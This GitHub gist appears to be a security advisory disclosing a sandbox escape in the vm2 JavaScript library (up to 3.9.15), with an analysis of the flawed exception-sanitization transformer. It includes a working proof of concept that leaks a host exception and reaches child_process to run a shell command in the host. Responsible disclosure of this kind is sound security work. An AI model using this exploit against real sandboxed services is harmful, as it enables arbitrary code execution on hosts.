Skip to content

Instantly share code, notes, and snippets.

@leesh3288
Last active November 29, 2023 10:51
Show Gist options
  • Save leesh3288/f05730165799bf56d70391f3d9ea187c to your computer and use it in GitHub Desktop.
Save leesh3288/f05730165799bf56d70391f3d9ea187c to your computer and use it in GitHub Desktop.
Sandbox Escape in [email protected]

Sandbox Escape in [email protected]

Summary

There exists a vulnerability in source code transformer (exception sanitization logic) of vm2 for versions up to 3.9.15, allowing attackers to bypass handleException() and leak unsanitized host exceptions which can be used to escape the sandbox and run arbitrary code in host context.

Proof of Concept

const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

Analysis

As host exceptions may leak host objects into the sandbox, code is preprocessed with transformer() (lib/transformer.js:49) in order to instrument the code with sanitizer function calls (lib/transformer.js:108).

Identifier name of catch clause is interpolated into insertions as code (lib/transformer.js:137) to sanitize caught exception, possibly a host exception.

This is subsequently post-processed to replace $tmpname with the string value in tmpname (originally VM2_INTERNAL_TMPNAME) for ObjectPattern case sanitization code (lib/transformer.js:189), which in turn allows an attacker to bypass handleException() with identifiers containing the string $tmpname.

An attacker may then use any method to raise a host exception (test/vm.js:1082 for example, via internal prepareStackTrace) and use it to access host Function constructor, escaping the sandbox and gaining arbitrary code execution in host context.

Impact

Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.

Credits

Xion (SeungHyun Lee) of KAIST Hacking Lab

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment